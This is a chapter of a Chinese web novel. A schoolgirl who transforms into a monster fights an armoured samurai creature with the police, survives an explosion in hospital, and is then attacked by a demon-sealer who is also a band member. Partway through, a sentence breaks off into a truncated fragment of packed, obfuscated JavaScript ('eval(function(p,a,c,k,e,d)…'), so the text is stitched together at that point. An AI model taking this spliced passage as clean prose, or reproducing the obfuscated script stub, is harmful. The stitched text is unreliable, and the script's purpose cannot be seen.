也许是大家到了新年都觉得生活重燃了希望,也许是大家感到新年冲淡了去年的苦楚,直到春日到来,都没有一个怪人出现。 大礼堂中,对新学期的愿景与鼓舞之声响彻,学生们比之前倒是平静了很多。直到结束了第一天的课程,晴子一直都觉得轻松惬意。 风夏背起包,“咱们去哪转转?” “你也真是,即便是第二学期了,仍然不打算加入任何社团啊。”晴子笑着站起身,看了看窗外充满活力的一切,与风夏一起踏出了教室。 “香月同学!”老师的声音突然从背后传来,“今天比上个学期好多了啊。” “啊,哈哈,上个学期总是睡觉呢。” “虽然这也是一方面,但是也不全是说这个。” “那是?” 看着晴子面露不解,老师突然乐了起来,“怎么露出了这样的表情?我只是想说,你比上个学期给人的感觉要阳光得多了。” “是吗?哈哈,那就太好了。毕竟也是新的一年了不是吗?如果总是消沉着确实是挺不好的。” 老师欣慰地轻轻点头,“是啊,有什么事就给老师讲,看见你们每个人都好好地快乐地长大,是身为一个老师的幸福。” 两人给老师鞠了一躬,之后便踏出了校门。 走了一段,两人看见了可丽饼店,便买了两个坐到了路边的长椅上。风夏打开手机翻找着问道:“想去听音乐吗?咱们好像挺长时间没有去过live house了。” “还真是,今天有什么好去处吗?” “嗯……不好说呢,今天有一个高中女生组成的乐队要出道诶。” “真的假的?这么厉害啊。” “是呢,看网上的传闻,里面的吉他手似乎相当强,很多人都是奔着她去看的。” 晴子接过了风夏的手机,最先看到的就是那个乐队的照片,下面是相关的介绍,应该是某个非常关注她们的粉丝整理出来的,看样子在出道之前就已经有原创曲上传了。 不过重点不是这个,而是…… “这不是我的初中同学吗?” “啊?哪个?” 风夏赶紧凑过来,晴子指着照片道:“就是这个吉他手,不会吧,大家议论纷纷的吉他手居然是她吗?” “哦?你们关系不好吗?” “不,我们只是不怎么说过话,主要是她在初中的时候真的没什么存在感。哪怕看到过她背着吉他来学校,但是也没有人听过她的演奏,没想到现在这么厉害啊!不对,恐怕那个时候就已经这么厉害了。” 风夏拿回手机道:“那还等什么,我们直接去看不就好了?咱们早些过去,看还有没有票了。” 话虽如此,现在时间其实还早。这家live house之前并没有来过,主要是确实没有出现过自己关注的乐队在这家演出的情况。现在第一次来,感觉装修非常不错,整体的氛围都很令人满意,处理好一切的两人直接坐在了凳子上,索性直接从第一个乐队开始听到她们出场。 喝着饮料,晴子听着周围人的交谈,倒不是故意想要打听别人的话题,而是这样的事已经是无法避免的日常了。 “今天没有太有看点的乐队啊。” “诶,我倒觉得还好啊。” “那是你听得太少了,实际上对我来说也就两个乐队值得期待,特别是这个。” “这个不是学生组建的吗?而且还是新乐队。” “这你就不懂了吧,他们这些学生提前发布的曲子就有相当高的水准,而且她们还有各种各样的人设呢。” “人设?那是什么?” “比如明里,她说自己是小恶魔,优香是魔法少女,纱织是巫女。不过英梨自称是封魔师,这个我倒是没听说过啊。” “哈哈,这么有意思吗?不过有封魔师在的话,小恶魔岂不是很危险?” “还真是,所以现在反而有人说明里和英梨是相爱相杀的一对呢,磕得非常狠。” “呜哇……” 此时,一个乐队已经准备好上台表演,两人也就不再继续交谈,开始专心听演出。晴子没想到自己的老同学现在已经是魔法少女了,不禁有些笑出声,真是难以想象,曾经的她那么文静,现在居然扮演了这种与她本人相当反差的角色,听起来确实很有意思。 随着一组又一组乐队的上场,到场的观众都高看了老板娘一眼,因为从这个节目顺序的效果来看,几乎所有人都成功地嗨了起来,就连一开始坐在那里喝饮料的晴子和风夏都早已站起来一起欢呼,现场几乎被炒热到不可以思议的地步。 “要来了!” 不知道是谁说了这么一句,紧接着,四个活泼的女孩就准备就绪了。 “大家好!我们是四方玉乐队!虽然是第一次,但是要给每个人释放爱的魔法了呦,啾!” 在台下的众人欢呼的时候,晴子的眼睛都要瞪出来了,“这家伙,初中的时候是这样的性格吗!” 就在给观众打完招呼,手还没放下的下一刻,优香居然精准地看到了站在边缘的晴子,整个人就像是石化般定在了原地。 是啊是啊,既然选择了组建乐队在外面表演,那就迟早会碰见认识的人。可是虽然早就想过可能有这种时刻的到来,真正在这样的社死场面出现的时候,整个人仍然快要碎掉了。 纱织小声道:“怎么了,优香?” “没,没什么。” 回过神来,赶紧调整好状态,第一首歌正式开始。即便已经全力稳住自己,她还是在开头就弹飞了一个音。台下的观众先是一愣,随后又重新嗨了起来。 在进入副歌之前的时候,晴子突然感觉自己的身体被什么东西轻轻穿过了一样,那是很奇妙的感觉,让她被动地打了个哆嗦,之后就没有别的感受了。 四个女孩都是活泼的类型,在台上充满了激情,尤其是优香,由于是主唱,与台下的互动更多。可以说当她们的曲子都表演完之后,观众们都是呐喊着目送她们离开。 风夏就像是把憋着的很长的一口气吐出来了一样,“真是令人震惊,很难想象这是刚出道的高中生乐队,就凭她们的颜值和舞台把握,说是偶像都不为过。” “是啊,看看下面的人就知道,他们的状态就像是偶像推一样亢奋,当我看他们的表演的时候,感觉心情轻易就可以被带向愉悦的领域。” 后台,优香也是狠狠地放松了下来,到现在还有些心跳加速。 明里激动地凑到了她的身边,“你看见了吗?那不是你特别喜欢的偶像吗?” “啊?谁?” “是小原风夏啊,那不是当时超级有人气的学园偶像吗?我记得你说你很喜欢她来着。” 优香猛地张大了嘴,“她来了吗?” “哈?你居然没有看到吗?她不是站在边缘的位置吗?” 优香的内心就像是被石头打中的玻璃板,一瞬间就变得破破烂烂了,“我刚才看见我的初中同学了,我满脑子都是羞耻,都没注意到风夏在场。啊——真是的!” 不过既然知道了自己崇拜的人就在附近,更何况是那个曾经根本无法接触到的小原风夏,她决定等一下自己去找找人在哪,看能不能搭个话。 正想着,纱织走了过来,“优香,看见英梨了吗?” “她刚才演出完就说有事离开了,也没告诉我们要去做什么。” “是这样啊,也没办法,她一直都神神秘秘的,而且上学期放假前才刚转校过来,我们和她也都不太了解。” 明里摊了摊手,“确实,要不是我们两个是一个班的,我估计连她的面都见不到。” “到了这种地步吗?” “是啊,中午吃饭是一个人,平时也不和人说话,总是站在窗边不知道在看什么,一下课就不见了踪影。这学期听有人说,在假期的时候看见她在路上飞奔,随后又突然停下,不知道在想什么,和她打招呼也像听不见一样被无视掉了。” 优香忍不住感叹道:“哇……真是想象不到你可以把这样的人拉进乐队呢。” “哼哼。”明里得意地一叉腰,“本小姐就是这么有魅力。” “对了,我先走了,明天见!”优香突然想起来自己还要去找人,连忙和两人告别。由于四方玉乐队是压轴,所以后面也就只有一个乐队了,估摸着风夏应该也已经看完了表演,她便打算去门口等着。 只能说时间十分赶巧,当她出去之后,恰巧就看见风夏从里面走了出来,但是又不得不说这是十分尴尬的,因为晴子跟在她的身边。 优香脚趾扣紧,轻轻咬了咬指甲盖,最终还是决定跟在她们不远处,看看什么时候晴子从自己的偶像身边离开,再决定做些什么。然而事与愿违,她跟了一路,压根没看见两个人有一点要分开的意思。 餐厅前,风夏看着里面道:“感觉不错啊,反正和妈妈提前说了不在家吃了,咱们要不然就在这吃吧?” “烤肉自助?你怎么这么懂我!” “嘿嘿,那是必须的,不瞒你说,我刚好也想吃肉了,总觉得最近的饭吃起来太缺油水了。” 两人一拍即合就要踏入店中,但是电话不懂情调地响了起来。 “喂,黑木先生……好,我知道了。” 挂断电话,晴子无奈地叹了口气,“终究还是出现了,我都怀疑是不是学生弄出来的,毕竟今天刚开学呢。” 风夏也只能无奈地陪笑,“那就只有快走了,离这里近吗?” “不,不是很近,要打个车了。” 这两个人说走就走,但是优香可不知道她们要去哪。然而不得不说她真的很有当跟踪狂的潜质,甚至叫了一辆计程车跟在两人后面。 两人并没有直接让车开到现场,而是选了一个附近的地点,剩下的路就靠自己走过去。 晴子边跑边把包递给风夏,“听说这次是一个身披甲胄的看着很像武士的怪人,想想就觉得真难对付啊。” “你也是学了剑道的,我反倒觉得这可能是比较好对付的。” “不,不是因为武士我才那么说的,是因为甲胄。” “你的意思是,可能打不穿它的防御吗?” 晴子点点头,“我记得武士的铠甲还是包裹了相当多的部位的,虽然不知道历史上的强度怎么样,但是当它出现在怪人身上的时候,我是真心觉得有些恐怖的。” 脑海里思索着可能用得上的对策,两人很快赶到了现场。只见一个真的如同书上看到的那样的旧时代的武士,正一刀劈向一辆警车。手起刀落,警车直接从中一分为二,紧接着的就是剧烈的爆炸。火光之中,武士就像是来自炼狱的阎罗,一脚踏过燃烧的废墟,将本是弯曲的铁皮踩得如同纸片。 晴子的眼中无比凝重,怪人也在此时与她对视,双方就像是在战场上面对面的将军,此刻已经到了决斗的时刻。 “变身!” 曾经,这个口号是给自己打气用的,但是现在,这个口号让队友们都为之一振。察觉到晴子的到来,警察们的心中顿时充满了希望,毕竟用着这么强的武器,大家都仅仅只打碎了怪人的一个肩甲。 晴子已经有一阵子没有正经战斗过了,当剑拔出来的时候,警车上一下子就出现了不少长长的划痕。离得很远的警察都能感觉到皮肤瞬间的刺痛,基本上所有人都在狠狠的揉搓着身上的某些部位,比较敏感的甚至疼得叫了出来,衣服下面赫然是一道血印。 刀剑相交,与上一次战斗时相比,她的各方面都沉稳了许多。不仅心态上很冷静,每一招也都出得很精准。只是有一个问题,那就是这剑并没有办法碰到怪人的身体。 双方的技术不相上下,两个人尽管在以很快的速度连续过招,但是并没有办法攻下对方。不过晴子并不会坐以待毙,她骤然加快了进攻的节奏,希望用速度差来攻破怪人的防线。怪人则是以力量还击,使用极重的攻击将她进攻的节奏打断。 在如此认真而专注的战斗中,精神和体力的损耗都非常剧烈,从这个层面来讲,怪人明显更占优势。对晴子来说,怪人的身体就像是一个坚固的堡垒,并且是架着机枪的堡垒,自己想要战胜,就连失误都不能有。 八塚玄观察着那边碰撞的火花,稍微皱了皱眉头,随后拿起了手中的枪。枪口跟随者双方的动作不断移动着朝向,但是仔细看就会发现他的手非常稳。终于当晴子一剑攻过去的时候,一声枪响传来,怪人的手腕突然被击中。虽然没有受到太大的伤害,但是令它的刀锋在关键的时候猛地抖动了一下,使双方的武器微妙地相互擦了过去。 晴子反应相当快,抓住机会一剑砍中了怪人的小臂,这一下让怪人的整体姿态都出现了重大的破绽。她立即运用强大的身体能力衔接了转身一剑,向着怪人的脖子就攻了过去。 尽管金属的碰撞声立即传来,但是还是破了怪人的防。那么这样就结束了吗?当然没有。她哪里会在此刻停手,反而是全力以赴,拿出了不让怪人再有机会还手一次的气势发起连续攻击。由于她的攻击范围大都集中在怪人的上半身,现在把握住机会所以站位也相对固定,于是八塚玄一声令下,所有的警察开始将子弹向着怪人的头部倾泻。 怪人被多方攻击,一时间越发难以招架,姿势也是越来越乱,直到被晴子一脚踢倒在地的时候,身上的盔甲都爆裂开来。她将剑竖起,大吼一声,向下对着怪人的胸膛就刺了进去,熟悉的景象出现,怪人的身体不再活动了…… “嗯?”她看见怪人的样子皱了一下眉头,“怎么没有变为黑烟呢?” 随后她大呼一声“不好”,但是已经来不及了。怪人的身体顷刻之间便放出大量蒸汽,盔甲全部被瞬间烧红。 晴子全力大喊:“趴下!” 只听“轰”得一声,怪人的尸体炸得粉碎,在小蘑菇云一般的爆炸过后,地面上出现了一个大坑。待到烟尘散去,晴子已经趴在了地上,全身都在冒烟,是身体多处破裂,酒红的血液流了一地。 “晴子!” 满满站起身的警察们和风夏都慌了,就看着晴子变回了人的姿态,完全没有任何动静。等最快的警察把她从地上翻过身,拖住她的上半身的时候,大家发现她的嘴角流着血,昏迷不醒,全身都是狰狞的伤口。 八塚玄黑着脸接过晴子将她与别的警察合力台上警车,载着风夏一起向着医院疾驰而去。 远处,优香被控制现场的警察驱逐,根本看不见发生了什么,她不知道为什么风夏和晴子可以穿过警戒,心里一时间有了诸多猜测。一声声的枪响传来,她的心中也是越发感到害怕和好奇,直到后来,一声剧烈的爆炸让她的心脏都猛地一颤,使得她没忍住一声尖叫。 且不说警察看她的眼神越发不对,就算是再好奇的人也是惜命的,于是她终于决定暂时离开这里。没走两步,警笛的声音越来越近,她赶紧让到路边,回头看了一眼,发现副驾驶上的人居然是风夏! 就在警车与她擦身而过的时候,风夏也瞥向她的方向,“奇怪,她怎么跑到这来了?” 优香呆呆地站在原地,久久回不过神来,“风夏难道是警方的人?可是高中生会和警察有什么联系呢?还有,刚才的后座上似乎躺着一个人,应该很大概率是和风夏在一起的晴子吧?这两个人到底怎么回事?” 仔细想了想,她突然惊觉,“警察平时哪里开过枪,现在只有对付怪人的时候,警察们才会开枪……不不不,怎么可能呢?” 脸侧的汗珠缓缓留下,脑海中突然出现了曾经在网上看见的一张照片,但是后来不管怎么找,都无法找到那张照片了。怪人的事情她非常感兴趣,但是网上所能获得的情报实在太少,存在的只有警方发出的几个消息,难道说…… 她已经不敢往下想了,越发觉得恐惧,不管怎么样,她都觉得自己似乎是看见了一些不该看见的东西。感觉自己被警察带走的可能性越发增大,她连忙快步逃走。 医院的急救室里,医生们竭尽全力维持着晴子的呼吸,伤口一个接一个地被处理,但是她的状态仍然无法稳定下来。四名警察和风夏一起在外面等着,希望传出来的是成功的消息。 气氛沉闷到了极致,八塚玄坐在长椅上用力握紧了拳头,平时那么严肃,身材那么高大的男人,此刻竟然泛着泪花。 他轻声道:“我一看就能明白,那时的晴子是扑在怪人身上的。” 听此,剩下的警察们和风夏一起转过了头。一名警察问道:“为什么是这样呢?” 八塚玄深吸一口气,用力让自己平静下来,“恐怕是晴子为了控制爆炸的范围,最后整个身体压在了怪人的身上,可恶!” “居然是为了我们……”一个警察猛地看向了急救室的方向,而剩下的人都低下了头。风夏再也忍不住,开始不断抽泣,担心和害怕充斥着内心。 大约五分钟后,黑木冲到了众人的面前,看见急救的灯还没有熄灭,他慢慢放缓脚步,安静地走到了众人的面前,然后蹲下来,轻轻拍了一下风夏的肩膀。 “抱歉。”八塚玄的声音已经失去了力气,“是我太过无能。” 黑木看着他,轻轻叹了口气,过了几秒,才缓缓地说:“这不是你的错,这是伟大的灵魂做出的高洁的决定,让我们一起守护在这里吧。” 八塚玄沉默着,回想起了曾经自己责怪黑木的样子,虽然晴子与黑木之间并没有直接的关系,但是他很清楚黑木有多么在乎晴子。此时此刻,黑木对他的安慰反而像是一根尖刺,狠狠地刺向了过去那个被恨意冲昏头脑的自己。 不过他也是一个坚强的人,他想通了从过去到现在的事。带着愧疚与自责,他并不打算沉寂,而是决定了以后要更加用心地保护这个特殊的女孩,这正是他的优点。 急救实在是太漫长了,两个小时的时间,对外面的人来说仿佛过了两天一样久。现在只剩三人在等待,剩下的人就都先回去忙了。当灯灭掉,门终于打开的时候,三人同时站起身冲到了医生的面前。 尽管江藤望带着口罩,疲惫的神色还是从他的眼中无法抑制地流露着,“姑且是稳定了,不知道什么时候可以醒来,但是可以暂时放下心了。” 黑木和风夏的脸上同时出现了笑容,两人几乎兴奋地要发疯,但是在医院之中,还是尽可能地控制住了自己的音量。八塚玄则是用力攥住右拳,整个人浑身一震,低声吼了一声“好”。 江藤望在回去之前道:“你们都先回去,晴子由我来照看,以防出现什么突发情况,如果有想来探望的,就明天再来吧。” 黑木重重地点头,“真是太感谢你了。” “哪里,谁都不愿意看着这个女孩离我们而去,放心,交给我吧。” 没有再多说,看着江藤望转身离去,八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话虽如此,也是在风夏今天亲口承认后,父亲才接受了自己和妻子长久以来的想法。虽然很早很早就做好了思想准备,但是得知晴子在和怪人战斗的时候,还是不禁感到揪心。 半夜,晴子缓缓睁开了眼睛,浑身的疼痛让她呲牙咧嘴。 “别乱动,再躺一躺。”听到江藤望的声音传来,她这才发现身边有人。 看见她顺利睁眼,江藤望也是松了口气,现在已经是半夜三点了。 “今天你太危险了,送来的时候内脏多处出血,说实话,如果是正常人的话,我真的会感到绝望的。” “那后来?” “后来我们尽力维持你的状态,硬是撑到了你的身体自己修复了出血的地方,说真的,真不愧是你的身体,这恐怖的愈合能力,足以让任何一个医生的灵魂颤抖。” 晴子笑了,“大家都没事吧?” “放心吧,大家都好。据他们讲,怪人的盔甲只有很少的破片飞出,将警车划了三道,还有一个警察大腿割伤,可以说几乎没有造成灾害。”、 “那真是太好了。” 江藤望给予她温柔的微笑,说真的,没几个人见过江藤望露出过这样的表情,他站起身,收拾了一下东西,“时间不早了,虽然你才醒来,但是能睡还是睡吧,我就不打扰你了,床头有我叫人送来的面包和水,醒来之后你再当早餐吃吧。” “真是太感谢了。” “哪里,应该是我们感谢你才对,我先走了。” 目送他走出了房间,晴子也重新闭上了眼睛,虽然确实是从昏迷中醒来,但是精神还是相当疲惫的。他们谁都没有察觉到,此时的窗外,有一双眼睛正盯着她。 这场战斗中,虽说警方已经把人都限制在了外面,但是当警方撤离之后,那片区域不可避免地被人看到。当晚,就在晴子昏迷的时候,怪人爆炸的痕迹已经冲上了网络热门。无数人都在讨论这起事件,所有在附近的人都发表了自己当时的感受。 优香不断翻看着自己的手机,她正是离现场最近的人之一,“果然,大家一致认为就是怪人引发的战斗,到底还有没有特殊的目击者了呢……” 第二天,听说晴子已经睡醒后,大家就都来看望她了。警视厅单方面给予了她20万日元的奖金,至于一些比较高调的奖励则是无法给予,况且现在她的情况并不为人所知,就算是颁发了什么,也无法被报道和认可,只能作为心理安慰罢了。 大家都惊叹于她的强大,从被送去抢救到出院上学,只用了一晚上的时间。黑木自告奋勇将两个女孩送到学校,尽可能让刚痊愈的晴子少些奔波。 走在校园里,风夏问道:“真的恢复了吗?” 晴子笑着点点头,“嗯,已经完全恢复了,虽然可能比之前稍微虚弱一点,但是那些伤已经完全好了。” “那就好。”风夏也露出笑容,“不管怎么样,今天都要带着大英雄吃一顿烤肉自助才行呢。” “那是当然了,我都要馋死了,我实在是太想吃肉了,不过大英雄还是算不上,我觉得那样的事只有我可以做到,那我就应该全力去做才对。” 风夏叹了口气,“我倒是不这么觉得呢。” “为什么?” “倒不是说不去救人的意思,只是我觉得你也有权利好好地珍惜你自己。” “珍惜自己啊……” 晴子说到这里就不说了,风夏好奇地看了她一眼,刚想开口,但是只看到晴子一直环顾四周。于是她也向四周看了看,突然察觉到一件事,那就是明明已经走进走廊了,可是却没有一个学生,周围的环境莫名其妙地有些淡淡地发亮。 突然,脚步声出现,一个人影从走廊的拐角现身于她们面前。 “真是没想到,居然有无关的人会被拉进来。” 风夏皱眉道:“你是英梨?” “没错,昨天你们都去听我们的演唱了呢。” 不知道为什么英梨的身上穿着自己学校的校服,晴子只是警惕地看向她,“你是来找我的?” “是的,我需要知道,你到底是什么东西。” “我是什么东西?” “你装傻可没用,我知道你变成了阴魔的样子,只是我不知道你为什么要战斗,难道是你们的内部出现了争端?还是说,你是在以这样的方式捕猎?” “我只是在保护着大家罢了,倒是你,你是什么人。” 英梨一步步靠近这边,“你怎么会不知道我是谁,我当然是专门狩猎你们的封魔师。虽然不知道你们到底是怎么把阴魔的力量加持在自己的身上,但是你们这种东西也是时候毁灭了!” 她突然跑了起来,晴子也瞬间变为了怪人的样子。她虽然是肉身,但是却直接与晴子正面交手。金色的粒子从小臂周围飞散,两个袖口里伸出袖剑,同时双拳连同小臂被金属包裹。 晴子没有办法,只能拔剑对敌,两人瞬间就打在了一起。风夏站在她的侧后方,忐忑地旁观着战局。晴子的心情越发凝重,对方比自己想象的要强很多,每一招都十分凌厉。不得不说,至今为止与她战斗的都是一些并不具备智力与思想的怪人,但是这次的对手不同,吃力感源源不断地冒了出来。 她虽然在渐渐后退,但是眼睛并没有放过任何时机,她提起一口气,突然爆发出力量,用极快的速度连续进行回击。尽管这些攻击全都被对方挡下,但是最终还是将其一脚踹得后退数米。 “真是令人吃惊。”反倒是英梨先说出了这句话,“没想到你如此难对付,以往的对手里可没有像你这样棘手的存在,真是了得的剑术,力量也很强。” 说罢,她不再拘泥于直接冲锋,而是快速地左右摇摆,这让晴子感觉她就像是闪电一样,以琢磨不透的角度迅速接近了自己。她的身体异常灵活,异常柔软的身体做出了很多高难度的动作,甚至使晴子看不清楚剑刃到底是从哪里袭来,也反应不过来突然的踢击。 在晴子的连连败退之下,她终于找准时机,一剑刺入了晴子的左肋。本以为晴子的反抗能力就会自此结束,可是她却被一把抓住了手腕,然后被极大的力量一个过肩摔,最后抛在空中一脚踢开。 这一下可不是开玩笑的,即便是她也是干咳了好几声,腰部隐隐作痛。只是她的情况比晴子要好得多,后者现在已经单膝跪地,鲜血再一次流了下来。 “麻烦了。”晴子喘着粗气道。 英梨去轻蔑地站起身,“当然,毕竟你就快死了呢。” “倒不是说这个麻烦,只是我觉得等干掉你之后,被人看见了受伤的我会很麻烦。” “大言不惭!真是可笑,你居然妄想干掉我,我身上背负着的可是封魔一族的夙愿,就凭你这个肮脏的邪道,还想战胜我,真是痴人说梦!” 她手臂上的袖剑收回,右手突然燃气火焰,随后出现了一张纸符,“三蛇封尽!” 纸符上面出现了特殊的图案,然后一下子燃烧消失,她立即将右手手掌对准晴子,左手抓住右手手腕。三条白蛇从掌心窜出,血盆大口一起向晴子咬来。晴子用力站起,握剑准备抵挡,但是风夏突然从背后冲过来,用身躯挡在了晴子身前。 晴子瞬间变了脸色,可是完全无法阻止了,只能看着三条大蛇就那样咬在了风夏的身上。 “怎么可能!”英梨惊诧地看着前方,这已经是自己最拿手的封魔术了,但是这三条大蛇居然直接破碎了! 她一边摇头一边后退,“怎么会这样,你身上的能量为什么如此庞大。” 风夏完全不知道她在说什么,只是目光坚定地说:“我才不知道这些东西,我只知道你不能就这样杀死我的朋友。” “你还不明白吗!她根本就不是人,她只是用假惺惺的伪装接近你们,迟早会把你们都杀了!” “胡说八道!晴子是我最好的朋友,现在甚至已经是我的妹妹,成为我的家人了,你敢动她,就得踏过我的尸体!” 英梨还想说些什么,晴子已经提刀从风夏的身侧发起进攻,一条火蛇猛地从剑刃之中发出,走廊的窗户接连破碎,当火蛇消失之后,看见英梨已经不见了踪影,她便赶紧变回人型,紧接着,周围的场景便发生了变化,学生们突然出现在了原有的位置。不过那些已经破碎的窗户,此时却是完好无损的。 12. 窥见 鲜血顺着衣服渗了出来,意识也开始有些飘动,风夏连忙用包挡住出血的位置,搀扶着晴子就往外跑。 江藤望人都傻了,差点把水杯里的水抖出来,才出去的人,怎么就又回来了呢? 一个小巷子里,英梨踉踉跄跄地跑到了墙边,现在身上还冒着白烟。原本拥有强大身体能力的她,此刻已经难以行动,明明已经逃得很快了,但是还是被击中了全身的三分之二,如果不是修行得时间足够久,恐怕这一击就足以要了她的命。 “这是何等的力量,真是太危险了,放任这样的东西下去,迟早要有大麻烦的,到时候灾害的区域就不止昨晚那么一点了。不过这应该也就是最后一个了吧……” 她始终都忘不了曾经那个场面,封魔师一族与邪道之间的那场大战,几乎把两边的人全都杀尽了。作为大战的幸存者,迄今为止,她为了在摇篮时期就掐灭邪道的火种,已经追杀了四个邪道,可是偏偏最后一个已经造成了这么大的影响。 与此同时,晴子也在担心,那一招说白了和以前的招数一样,都是一次性的东西。她不禁低下头,“想要获得那样的力量,就必须要在不出剑的时候战胜怪人才行,而同时也就意味着必须要承受相应的痛苦。但是不这样做的话,单凭自己的剑术实在是有些而不够看。” 江藤望听了风夏的讲述之后说:“这其中是否有什么误会呢?如果她的战力真的如此强劲,对我们来说也是一大助力。” 风夏有些无语地说:“那个家伙根本不相信我们说的话,真是搞不懂啊。” “想必她也经历过很多吧,一般完全不听人说话的人,往往是经历过有着强烈情感爆发的重大事件,甚至让他们到了因噎废食的地步。” “是这样吗……” 江藤望笑了,“我总是见到各种人,偏激的也有不少,只是我并没有拯救那些人的能力,我能做到的只是让他们身体健康罢了。” “拯救他们大概是我的责任吧。”晴子突然说,“或许拯救他们的时候是在他们的情绪彻底崩坏的时候,但是那算不算拯救了他们呢?” “怎么突然那么说?我想这也并不是你的责任才对吧。” 晴子摇了摇头,“可是只有我可以做到不是吗?如果警察真的可以将那些怪人杀掉的话,我或许就真的可以不用战斗了。” “真是辛辣呢,但是事实倒也是,即便警察们再努力,现有的武器水平也达不到你的拳头那个级别,更不用说你的武器强度,恐怕连炮弹都难以比拟。” “所以说,还得是我……” “不,至少我不是这么认为的,哪怕真的只有你能拯救,我也希望你不要带着太强的这样的目的去做。” “为什么?” “拯救是一个沉重的词,如果你抱着一定要拯救一个人的心态,且不说压力有多大,最终一旦遭受失败,恐怕对你的打击甚至会胜过生命中在乎他的人。” 江藤望的表情有些落寞,“我现在大概是抱着希望病人可以获得幸福的愿景去治疗的,不是靠着‘拯救’那样沉重的字眼,而是告诉别人何为希望。” 晴子有些不解,“可是拯救本不就是带给他希望吗?” “不是的,这两者是不一样的。一个是由你而为,一个是由他而生。让他真的看清未来还有路可以走,要比拯救这种形式有效得多。你知道心态会影响人的病情吗?在医院里,有时候医生能做的事都做尽了,但是病人仍然难以好转,因为他们真的不相信自己可以活下来。你知道这身名为‘拯救’的白大褂下包裹着的,是多少人的生命吗?” 气氛一时间有些沉重,江藤望并不想这样,只是一时间思绪起来多说了几句。他笑着突然一拍手,“好了,想那么多做什么?事情总会向着好的方向发展,只要自己不后悔就好了。伤口都处理完毕了,你的话应该很快就可以恢复了吧。” 江藤望走后,风夏小声道:“总觉得和一直以来的江藤医生不一样呢,难得见他会说这样的话,老实说,平时我感觉他是挺不着调的性格。” 晴子露出了有些复杂的微笑,“当然了,平时看起来确实是那样的。但是我之前曾随口和黑木先生聊过江藤医生,黑木先生说,江藤医生曾经没有能够拯救自己的父亲。那是一个固执的老人,即便是自己儿子的力量都不相信,江藤医生事后在酒吧喝得烂醉,发誓说自己已经尽了全部的努力,可是他的父亲是自己放弃了自己而并没有按时服药。” 风夏一时间心中一沉,良久,她才慢慢地说:“恐怕……这样的人,江藤医生并不少见吧。他似乎已经从医快二十年了,实际年龄比看起来是要大一些的。白大褂的下面,是数不清的人命吗……” 回想起江藤望的背影,两人都觉得仿佛有一种沉甸甸的东西压在了他的背上。但是晴子却突然笑了出来,这让风夏有些猝不及防。 “你还好吗?”风夏用手在她眼前晃了晃,“腰上被捅了一刀怎么还捅到脑子里去了?” 晴子长长呼出一口气,“不知道为什么,总觉得心中有些释然了。其实我之前很生气,我不知道英梨为什么要那样对我,尤其是你挡在我身前的时候,我的脑海里甚至浮现出了想要狠狠地杀掉她的念头。但是现在莫名地消散了不少,我希望能有机会和她谈谈,我想我的力量确实是拯救不了她的,人通过交流才能理解彼此内心的想法,而不是依靠刀剑不是吗?” 风夏也笑了,“嗯,不管怎么样,我都会陪着你的,她似乎伤不了我,就让我挡在你的前面,直到她愿意好好听你讲话为止。” 晴子看着眼前的人,明明是自己一直在保护的人,如今却说出这样的话。她并没有说什么只靠自己之类的,希望一个人进行战斗的保护般的句子,而是看着风夏的眼睛,坚定地回应道:“好,就拜托你了。” 风夏微微张开嘴,又缓缓合上,最后露出笑意。她一把抱住了晴子,“交给我吧,我不会让你一个人承担的。” 不必再说更多的话,她们已经成为了能够将性命托付给彼此的人。 一个电话打给黑木,两人说明了关于英梨的事,希望动用警方的力量帮忙查一下她现在在哪个学校上学。既然对方甚至都跑到了自己的学校来战斗,那么自己这边自然也要还以颜色才行。 警视厅中黑木挂掉电话,立即就往外走,山田刚好路过这里,“有事要办吗?” 黑木停下脚步,“嗯,突然有些事。” “看你似乎很高兴的样子啊。” 黑木愣了一下,很快笑了出来,“当然,难得晴子主动要求帮忙,这如何能让人不开心呢?一直以来都是她自己一个劲儿地冲到前面去战斗,我们只能在一旁看着,这次我终于可以为她做些什么了。” “需要人手吗?我刚好没事。” “那就一起吧。” 两个男人很干脆地就开始行动,找人这种事,专业还是相当对口的。 学校的医务室里,英梨无奈地躺在床上。就算她再想活动,现在的身体也不允许她能做些什么。她满脑子都是那个变身为阴魔的女生,越发感觉到有些绝望。 从live house见到晴子的时候,她就感到了一股极度危险的气息,当即就在舞台上用封魔术远程做了标记。明明这样的标记法是阴魔和邪道绝对察觉不到的,可是那个女生却仿佛感觉到了什么一样,这一下就让她的神经紧绷了起来,以至于演出结束后都没敢直接动手。 “可恶,它们的身体为什么可以恢复得那么快,而我们却迟迟不能再战斗。如果没有我,那些毫无反抗能力的人要怎么办呢?以前在东京留存的封魔族人也完全没消息,难道这世界上真的就剩我这一个封魔师了吗?这个邪道都能做到让阴魔具象化了,假如在我倒下的时候它突然展开屠杀要怎么办呢?” 她难过地想要翻个身,却被全身传来的疼痛疼得难以动弹,废了好大的力气才由仰躺变为侧躺。而这时,天边的霞光也映入了她的眼帘。 “啊……学校会允许我住在这里一晚吗?还是说我必须要试着爬起来呢?” “还是爬起来比较好哦。” “老师?” 她有些无奈,刚翻身过来,就要忍痛再翻回去。可是就当她重新变为仰躺的时候,她的目光一下停住了,随后眼睛睁大,瞳孔开始颤抖。 “呦,好久不见。” 晴子只是打了个招呼,但是却发现英梨的表情已经完全扭曲了。这使她也不得不收起了随意的表情。现在的英梨,眼中不再是早上的那种神情,而是只剩下单纯的恐惧。 “我……我不想死。” “嗯?” “我不想死我不想死我不想死我不想死我不想死!战斗,我要战斗!” 她的眼前仿佛浮现出了那一日同伴的身躯被阴魔撕裂的场景,母亲被刺穿腹部,用溢出鲜血的嘴向自己大喊“快逃”,之后强行干掉了一直阴魔,又被另一只一刀拦腰斩断。 她咬紧了牙,不知道哪里来的力气,竟然直接坐了起来,随后大吼一声,袖剑再次出现。不同于之前的进攻性,现在的姿势分明就是在单纯地防守。 风夏道:“别怕,我们不会伤害你的。” “别过来!” 英梨几乎是在嘶吼,并且瞬间展开了如早上一般的领域一样的东西,只是不同的是,那些微微发光的环境,此时一闪一闪的,看起来很不稳定。 “别逞强了!”晴子怒道,“你的身体不是已经破破烂烂的了吗?如果真的想要对你做什么,你那里还能有反抗的余地呢?” 英梨的身体蜷缩着,还是没有放下袖剑。 风夏缓慢地向前挪动脚步,就像是在哄一个哭喊的小孩子,“别怕,别怕,如果是你应该能明白的吧,不管她到底是怎么样的,你应该明白,我对你而言是没有危险的。” 